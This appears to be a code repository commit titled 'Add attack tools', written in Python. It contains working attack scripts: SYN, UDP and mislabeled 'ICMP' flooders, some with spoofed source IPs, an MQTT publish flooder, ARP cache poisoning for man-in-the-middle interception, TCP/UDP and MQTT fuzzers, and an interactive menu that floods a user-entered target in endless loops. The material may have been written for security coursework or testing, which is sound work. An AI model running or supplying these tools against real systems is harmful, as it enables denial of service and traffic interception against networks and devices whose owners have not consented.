이한솔

Add attack tools

No preview for this file type
No preview for this file type
No preview for this file type
No preview for this file type
from scapy.all import IP, TCP, send, RandShort
def icmp_flood(targetIP, targetPORT):
packet = IP(dst=targetIP) / TCP(
dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()
)
for i in range(4):
try:
send(packet, verbose=False)
except Exception as e:
print(f"Error while sending 'ICMP'\n{e}")
else:
print(f"ICMP packet send to {targetIP}")
import paho.mqtt.client as mqtt
import random
import multiprocessing
import signal
import string
import sys
import logging
import time
import unittest
def mqtt_publish_flood(mqtt_server_IP, mqtt_server_PORT, topic):
client = mqtt.Client("AA")
client.connect(mqtt_server_IP, mqtt_server_PORT)
client.loop_start()
for i in range(10000):
message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50))
client.publish(topic, message, retain=True)
print(f"Sent message {message}")
client.loop_stop()
client.disconnect()
import random
from scapy.all import IP, TCP, send
def random_IP():
ip = []
for _ in range(0, 4):
ip.append(str(random.randint(1, 255)))
return ".".join(ip)
def syn_flood(targetIP, targetPORT):
IP_Packet = IP()
IP_Packet.src = random_IP()
IP_Packet.dst = targetIP
TCP_Packet = TCP()
TCP_Packet.sport = random.randint(1000, 10000)
TCP_Packet.dport = targetPORT
TCP_Packet.flags = "S"
TCP_Packet.seq = random.randint(1000, 10000)
TCP_Packet.window = random.randint(1000, 10000)
for _ in range(16):
try:
send(IP_Packet / TCP_Packet, verbose=False)
except Exception as e:
print(f"Error while sending SYN packet\n{e}")
else:
print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.")
import random
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def udp_flood(targetIP, targetPORT):
for _ in range(16):
try:
payload = random._urandom(random.randint(1, 60))
sock.sendto(payload, (targetIP, targetPORT))
except Exception as e:
print(f"Error while sending UDP packet\n{e}")
else:
print(f"UDP random packet sent! Payload size: {len(payload)}. ")
No preview for this file type
from scapy.all import ARP, send, srp, Ether
import time
import sys
import signal
def originalMAC(ip):
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
for s,r in ans:
return r[Ether].src
def poison(routerIP, targetIP, routerMAC, targetMAC):
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))
def restore(routerIP, targetIP, routerMAC, targetMAC):
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
def arp_spoofing(routerIP, targetIP):
routerMAC = originalMAC(routerIP)
targetMAC = originalMAC(targetIP)
def signal_handler(signal, frame):
print("Restoring ARP Tables")
restore(routerIP, targetIP, routerMAC, targetMAC)
restore(routerIP, targetIP, routerMAC, targetMAC)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
poison(routerIP, targetIP, routerMAC, targetMAC)
import socket
def fuzzy_attack(method, targetIP, targetPORT):
command = b"XXXX "
if method == "udp":
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for x in range(4, 100000, 4):
message = command + b"A" * x
print(f"Sending command {command} with arg length {x}")
sock.sendto(message, (targetIP, targetPORT))
sock.recvfrom(1024)
sock.close()
elif method == "tcp":
sock = socket.socket()
sock.connect((targetIP, targetPORT))
for x in range(4, 100000, 4):
message = command + b"A" * x
print(f"Sending command {command} with arg length {x}")
sock.sendall(message)
resp = sock.recv(4096)
print("Response Received:", resp)
sock.close()
\ No newline at end of file
import paho.mqtt.client as mqtt
import random
import multiprocessing
import signal
import string
import sys
import logging
import time
import unittest
def mqtt_ramdom_payload_fuzzy(mqtt_server_IP, mqtt_server_PORT, topic):
client = mqtt.Client("AA")
client.connect(mqtt_server_IP, mqtt_server_PORT)
client.loop_start()
for i in range(1, 1000, 4):
payload = "".join([chr(random.randint(1, 127)) for _ in range(i)])
print(f"Sent Payload {len(payload)} bytes")
client.publish(topic, payload)
client.loop_stop()
client.disconnect()
from dos.icmp import *
from dos.mqtt import *
from dos.syn import *
from dos.udp import *
from fuzzy_attack.fuzzy_attack import *
from fuzzy_attack.mqtt_random_payload_fuzzy import *
from spoofing.arp import *
def printDOSMenu():
print("Choose Protocol")
print("1. ICMP Flooding")
print("2. SYN Flooding")
print("3. UDP Flooding")
print("4. MQTT Publish Flooding")
select = input("input: ")
if select == "1":
TargetIP = input("Target IP: ")
TargetPort = int(input("Target Port: "))
while True:
icmp_flood(TargetIP, TargetPort)
elif select == "2":
TargetIP = input("Target IP: ")
TargetPort = int(input("Target Port: "))
while True:
syn_flood(TargetIP, TargetPort)
elif select == "3":
TargetIP = input("Target IP: ")
TargetPort = int(input("Target Port: "))
while True:
udp_flood(TargetIP, TargetPort)
elif select == "4":
Target_Mqtt_IP = input("Target MQTT Server IP: ")
Target_Mqtt_Port = int(input ("Target MQTT Server Port: "))
Target_Topic = input("Target Topic: ")
while True:
mqtt_publish_flood(Target_Mqtt_IP, Target_Mqtt_Port, Target_Topic)
def printSpoofingMenu():
print("Choose Method")
print("1. ARP Spoofing")
select = input("input:")
if select == "1":
routerIP = input("Router IP : ")
targetIP = input("Target IP : ")
arp_spoofing(routerIP, targetIP)
def printFuzzyAttackMenu():
print("Choose Method")
print("1. TCP/UDP Fuzzy Attack")
print("2. MQTT Random Payload Fuzzy Attack")
select = input("input: ")
if select == "1":
method = input("input Protocol (udp/tcp) : ")
TargetIP = input("Target IP: ")
TargetPort = int(input("Target Port: "))
fuzzy_attack(method, TargetIP, TargetPort)
elif select == "2":
Target_Mqtt_IP = input("Target MQTT Server IP: ")
Target_Mqtt_Port = int(input ("Target MQTT Server Port: "))
Target_Topic = input("Target Topic: ")
mqtt_ramdom_payload_fuzzy(Target_Mqtt_IP, Target_Mqtt_Port, Target_Topic)
def printMainMenu():
print("Choose Method:")
print("1. DOS")
print("2. SPOOFING")
print("3. FUZZY_ATTACK")
select = input("input: ")
if select=="1":
printDOSMenu()
elif select == "2":
printSpoofingMenu()
elif select == "3":
printFuzzyAttackMenu()
printMainMenu()
\ No newline at end of file